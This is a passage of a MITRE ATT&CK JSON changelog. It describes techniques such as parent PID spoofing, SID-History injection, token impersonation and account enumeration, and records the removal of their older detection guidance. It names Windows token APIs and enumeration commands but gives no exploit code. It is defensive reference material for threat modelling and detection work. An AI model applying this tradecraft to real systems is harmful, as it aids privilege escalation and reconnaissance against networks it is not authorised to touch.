Creation Flags May 2018", + "description": "Schofield, M. & Satran, M. (2018, May 30). Process Creation Flags. Retrieved June 4, 2019.", + "url": "https://docs.microsoft.com/windows/desktop/ProcThread/process-creation-flags" + }, + { + "source_name": "Secuirtyinbits Ataware3 May 2019", + "description": "Secuirtyinbits . (2019, May 14). Parent PID Spoofing (Stage 2) Ataware Ransomware Part 3. Retrieved June 6, 2019.", + "url": "https://www.securityinbits.com/malware-analysis/parent-pid-spoofing-stage-2-ataware-ransomware-part-3" + }, + { + "source_name": "DidierStevens SelectMyParent Nov 2009", + "description": "Stevens, D. (2009, November 22). Quickpost: SelectMyParent or Playing With the Windows Process Tree. Retrieved June 3, 2019.", + "url": "https://blog.didierstevens.com/2009/11/22/quickpost-selectmyparent-or-playing-with-the-windows-process-tree/" + }, + { + "source_name": "CTD PPID Spoofing Macro Mar 2019", + "description": "Tafani-Dereeper, C. (2019, March 12). Building an Office macro to spoof parent processes and command line arguments. Retrieved June 3, 2019.", + "url": "https://blog.christophetd.fr/building-an-office-macro-to-spoof-process-parent-and-command-line/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Wayne Silva, F-Secure Countercept" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Process: OS API Execution\", \"Process: Process Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:06.759000+00:00\", \"old_value\": \"2025-04-16 20:37:18.203000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n\\nMonitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Look for inconsistencies between the various fields that store PPID information, such as the EventHeader ProcessId from data collected via Event Tracing for Windows (ETW), Creator Process ID/Name from Windows event logs, and the ProcessID and ParentProcessID (which are also produced from ETW and other utilities such as Task Manager and Process Explorer). The ETW provided EventHeader ProcessId identifies the actual parent process.(Citation: CounterCept PPID Spoofing Dec 2018)\\n-\\n-Monitor and analyze API calls to CreateProcess/CreateProcessA, specifically those from user/potentially malicious processes and with parameters explicitly assigning PPIDs (ex: the Process Creation Flags of 0x8XXX, indicating that the process is being created with extended startup information(Citation: Microsoft Process Creation Flags May 2018)). Malicious use of CreateProcess/CreateProcessA may also be proceeded by a call to UpdateProcThreadAttribute, which may be necessary to update process creation attributes.(Citation: Secuirtyinbits Ataware3 May 2019) This may generate false positives from normal UAC elevation behavior, so compare to a system baseline/understanding of normal system activity if possible.\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Metadata)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0489: Behavior-chain detection for T1134.004 Access Token Manipulation: Parent PID Spoofing (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-18 18:34:49.414000+00:00", + "modified": "2025-10-24 17:49:16.316000+00:00", + "name": "SID-History Injection", + "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134/005", + "external_id": "T1134.005" + }, + { + "source_name": "Microsoft SID", + "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx" + }, + { + "source_name": "Microsoft SID-History Attribute", + "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms679833.aspx" + }, + { + "source_name": "Microsoft Well Known SIDs Jun 2017", + "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.", + "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems" + }, + { + "source_name": "Microsoft Get-ADUser", + "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.", + "url": "https://technet.microsoft.com/library/ee617241.aspx" + }, + { + "source_name": "AdSecurity SID History Sept 2015", + "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.", + "url": "https://adsecurity.org/?p=1772" + }, + { + "source_name": "Microsoft DsAddSidHistory", + "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.", + "url": "https://msdn.microsoft.com/library/ms677982.aspx" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Alain Homewood, Insomnia Security", + "Vincent Le Toux" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.1", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Active Directory: Active Directory Object Modification\", \"Process: OS API Execution\", \"User Account: User Account Metadata\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:16.316000+00:00\", \"old_value\": \"2025-04-25 14:47:45.982000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n\\nMonitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Examine data in user\\u2019s SID-History attributes using the PowerShell Get-ADUser cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\\n-\\n-Monitor for Windows API calls to the DsAddSidHistory function. (Citation: Microsoft DsAddSidHistory)\"}}}", + "previous_version": "1.1", + "changelog_mitigations": { + "shared": [ + "M1015: Active Directory Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0002: User Account (User Account Metadata)", + "DS0009: Process (OS API Execution)", + "DS0026: Active Directory (Active Directory Object Modification)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0136: Behavior-chain detection for T1134.005 Access Token Manipulation: SID-History Injection (Windows)" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--86850eff-2729-40c3-b85e-c4af26da4a2d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-18 16:39:06.289000+00:00", + "modified": "2025-10-24 17:49:04.117000+00:00", + "name": "Token Impersonation/Theft", + "description": "Adversaries may duplicate then impersonate another user's existing token to escalate privileges and bypass access controls. For example, an adversary can duplicate an existing token using `DuplicateToken` or `DuplicateTokenEx`.(Citation: DuplicateToken function) The token can then be used with `ImpersonateLoggedOnUser` to allow the calling thread to impersonate a logged on user's security context, or with `SetThreadToken` to assign the impersonated token to a thread.\n\nAn adversary may perform [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) when they have a specific, existing process they want to assign the duplicated token to. For example, this may be useful for when the target user has a non-network logon session on the system.\n\nWhen an adversary would instead use a duplicated token to create a new process rather than attaching to an existing process, they can additionally [Create Process with Token](https://attack.mitre.org/techniques/T1134/002) using `CreateProcessWithTokenW` or `CreateProcessAsUserW`. [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) is also distinct from [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003) in that it refers to duplicating an existing token, rather than creating a new one.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1134/001", + "external_id": "T1134.001" + }, + { + "source_name": "Microsoft Command-line Logging", + "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", + "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing" + }, + { + "source_name": "DuplicateToken function", + "description": "Microsoft. (2021, October 12). DuplicateToken function (securitybaseapi.h). Retrieved January 8, 2024.", + "url": "https://learn.microsoft.com/en-us/windows/win32/api/securitybaseapi/nf-securitybaseapi-duplicatetoken" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jonny Johnson" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\", \"Process: OS API Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:04.117000+00:00\", \"old_value\": \"2025-04-15 19:58:48.792000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n\\nAnalysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-If an adversary is using a standard command-line shell, analysts can detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\\n-\\n-Analysts can also monitor for use of Windows APIs such as DuplicateToken(Ex), ImpersonateLoggedOnUser , and SetThreadToken and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1026: Privileged Account Management" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0482: Behavior-chain detection for T1134.001 Access Token Manipulation: Token Impersonation/Theft on Windows" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--72b74d71-8169-42aa-92e0-e7b04b9f5a08", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-05-31 21:31:06.988000+00:00", + "modified": "2025-10-24 17:48:57.239000+00:00", + "name": "Account Discovery", + "description": "Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., [Valid Accounts](https://attack.mitre.org/techniques/T1078)).\n\nAdversaries may use several methods to enumerate accounts, including abuse of existing tools, built-in commands, and potential misconfigurations that leak account names and roles or permissions in the targeted environment.\n\nFor examples, cloud environments typically provide easily accessible interfaces to obtain user lists.(Citation: AWS List Users)(Citation: Google Cloud - IAM Servie Accounts List API) On hosts, adversaries can use default [PowerShell](https://attack.mitre.org/techniques/T1059/001) and other command line functionality to identify accounts. Information about email addresses and accounts may also be extracted by searching an infected system\u2019s files.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087", + "external_id": "T1087" + }, + { + "source_name": "AWS List Users", + "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html" + }, + { + "source_name": "Google Cloud - IAM Servie Accounts List API", + "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list" + }, + { + "source_name": "Elastic - Koadiac Detection with EQL", + "description": "Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 17, 2024.", + "url": "https://www.elastic.co/security-labs/embracing-offensive-tooling-building-detections-against-koadic-using-eql" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Daniel Stepanic, Elastic", + "Microsoft Threat Intelligence Center (MSTIC)", + "Travis Smith, Tripwire" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "ESXi", + "IaaS", + "Identity Provider", + "Linux", + "macOS", + "Office Suite", + "SaaS", + "Windows" + ], + "x_mitre_version": "2.6", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"File: File Access\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:57.239000+00:00\", \"old_value\": \"2025-04-15 19:58:41.600000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n-\\n-Monitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)\"}}}", + "previous_version": "2.6", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0022: File (File Access)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0587: Enumeration of User or Account Information Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--8f104855-e5b7-4077-b1f5-bc3103b41abe", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:36.570000+00:00", + "modified": "2025-10-24 17:49:05.745000+00:00", + "name": "Cloud Account", + "description": "Adversaries may attempt to get a listing of cloud accounts. Cloud accounts are those created and configured by an organization for use by users, remote support, services, or for administration of resources within a cloud service provider or SaaS application.\n\nWith authenticated access there are several tools that can be used to find accounts. The Get-MsolRoleMember PowerShell cmdlet can be used to obtain account names given a role or permissions group in Office 365.(Citation: Microsoft msolrolemember)(Citation: GitHub Raindance) The Azure CLI (AZ CLI) also provides an interface to obtain user accounts with authenticated access to a domain. The command az ad user list will list all users within a domain.(Citation: Microsoft AZ CLI)(Citation: Black Hills Red Teaming MS AD Azure, 2018) \n\nThe AWS command aws iam list-users may be used to obtain a list of users in the current account while aws iam list-roles can obtain IAM roles that have a specified path prefix.(Citation: AWS List Roles)(Citation: AWS List Users) In GCP, gcloud iam service-accounts list and gcloud projects get-iam-policy may be used to obtain a listing of service accounts and users in a project.(Citation: Google Cloud - IAM Servie Accounts List API)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/004", + "external_id": "T1087.004" + }, + { + "source_name": "AWS List Roles", + "description": "Amazon. (n.d.). List Roles. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-roles.html" + }, + { + "source_name": "AWS List Users", + "description": "Amazon. (n.d.). List Users. Retrieved August 11, 2020.", + "url": "https://docs.aws.amazon.com/cli/latest/reference/iam/list-users.html" + }, + { + "source_name": "Black Hills Red Teaming MS AD Azure, 2018", + "description": "Felch, M.. (2018, August 31). Red Teaming Microsoft Part 1 Active Directory Leaks via Azure. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/red-teaming-microsoft-part-1-active-directory-leaks-via-azure/" + }, + { + "source_name": "Google Cloud - IAM Servie Accounts List API", + "description": "Google. (2020, June 23). gcloud iam service-accounts list. Retrieved August 4, 2020.", + "url": "https://cloud.google.com/sdk/gcloud/reference/iam/service-accounts/list" + }, + { + "source_name": "Microsoft AZ CLI", + "description": "Microsoft. (n.d.). az ad user. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/cli/azure/ad/user?view=azure-cli-latest" + }, + { + "source_name": "Microsoft msolrolemember", + "description": "Microsoft. (n.d.). Get-MsolRoleMember. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/msonline/get-msolrolemember?view=azureadps-1.0" + }, + { + "source_name": "GitHub Raindance", + "description": "Stringer, M.. (2018, November 21). RainDance. Retrieved October 6, 2019.", + "url": "https://github.com/True-Demon/raindance" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS", + "Identity Provider", + "Office Suite", + "SaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Command: Command Execution\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:49:05.745000+00:00\", \"old_value\": \"2025-04-15 22:00:56.981000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\\n\\nSystem and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-Monitor processes, command-line arguments, and logs for actions that could be taken to gather information about cloud accounts, including the use of calls to cloud APIs that perform account discovery.\\n-\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment, and also to an extent in normal network operations. Therefore discovery data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\"}}}", + "previous_version": "1.3", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0017: Command (Command Execution)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0386: Cloud Account Enumeration via API, CLI, and Scripting Interfaces" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--21875073-b0ee-49e3-9077-1e2a885359af", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:26.480000+00:00", + "modified": "2025-10-24 17:48:31.050000+00:00", + "name": "Domain Account", + "description": "Adversaries may attempt to get a listing of domain accounts. This information can help adversaries determine which domain accounts exist to aid in follow-on behavior such as targeting specific accounts which possess particular privileges.\n\nCommands such as net user /domain and net group /domain of the [Net](https://attack.mitre.org/software/S0039) utility, dscacheutil -q group on macOS, and ldapsearch on Linux can list domain users and groups. [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets including Get-ADUser and Get-ADGroupMember may enumerate members of Active Directory groups.(Citation: CrowdStrike StellarParticle January 2022) ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/002", + "external_id": "T1087.002" + }, + { + "source_name": "CrowdStrike StellarParticle January 2022", + "description": "CrowdStrike. (2022, January 27). Early Bird Catches the Wormhole: Observations from the StellarParticle Campaign. Retrieved February 7, 2022.", + "url": "https://www.crowdstrike.com/blog/observations-from-the-stellarparticle-campaign/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "ExtraHop", + "Miriam Wiesner, @miriamxyra, Microsoft Security" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_version": "1.2", + "detailed_diff": "{\"dictionary_item_removed\": {\"root['x_mitre_data_sources']\": [\"Process: Process Creation\", \"Command: Command Execution\", \"Process: OS API Execution\", \"Network Traffic: Network Traffic Content\", \"Group: Group Enumeration\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2025-10-24 17:48:31.050000+00:00\", \"old_value\": \"2025-04-15 22:21:07.252000+00:00\"}, \"root['x_mitre_detection']\": {\"new_value\": \"\", \"old_value\": \"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n\\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\\n\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +0,0 @@\\n-System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\\n-\\n-Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\"}}}", + "previous_version": "1.2", + "changelog_mitigations": { + "shared": [ + "M1028: Operating System Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_datacomponent_detections": { + "shared": [], + "new": [], + "dropped": [ + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0017: Command (Command Execution)", + "DS0029: Network Traffic (Network Traffic Content)", + "DS0036: Group (Group Enumeration)" + ] + }, + "changelog_detectionstrategy_detections": { + "shared": [], + "new": [ + "DET0129: Domain Account Enumeration Across Platforms" + ], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--4bc31b94-045b-4752-8920-aebaebdb6470", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 21:08:33.237000+00:00", + "modified": "2025-10-24 17:48:44.685000+00:00", + "name": "Email Account", + "description": "Adversaries may attempt to get a listing of email addresses and accounts. Adversaries may try to dump Exchange address lists such as global address lists (GALs).(Citation: Microsoft Exchange Address Lists)\n\nIn on-premises Exchange and Exchange Online, the Get-GlobalAddressList PowerShell cmdlet can be used to obtain email addresses and accounts from a domain using an authenticated session.(Citation: Microsoft getglobaladdresslist)(Citation: Black Hills Attacking Exchange MailSniper, 2016)\n\nIn Google Workspace, the GAL is shared with Microsoft Outlook users through the Google Workspace Sync for Microsoft Outlook (GWSMO) service. Additionally, the Google Workspace Directory allows for users to get a listing of other users within the organization.(Citation: Google Workspace Global Access List)", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1087/003", + "external_id": "T1087.003" + }, + { + "source_name": "Black Hills Attacking Exchange MailSniper, 2016", + "description": "Bullock, B.. (2016, October 3). Attacking Exchange with MailSniper. Retrieved October 6, 2019.", + "url": "https://www.blackhillsinfosec.com/attacking-exchange-with-mailsniper/" + }, + { + "source_name": "Google Workspace Global Access List", + "description": "Google. (n.d.). Retrieved March 16, 2021.", + "url": "https://support.google.com/a/answer/166870?hl=en" + }, + { + "source_name": "Microsoft Exchange Address Lists", + "description": "Microsoft. (2020, February 7). Address lists in Exchange Server. Retrieved March 26, 2020.", + "url": "https://docs.microsoft.com/en-us/exchange/email-addresses-and-address-books/address-lists/address-lists?view=exchserver-2019" + }, + { + "source_name": "Microsoft getglobaladdresslist", + "description": "Microsoft. (n.d.). Get-GlobalAddressList. Retrieved October 6, 2019.", + "url": "https://docs.microsoft.com/en-us/powershell/module/exchange/email-addresses-and-address-books/get-globaladdresslist" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_deprecated": false, + "x_mitre_detection": "", + 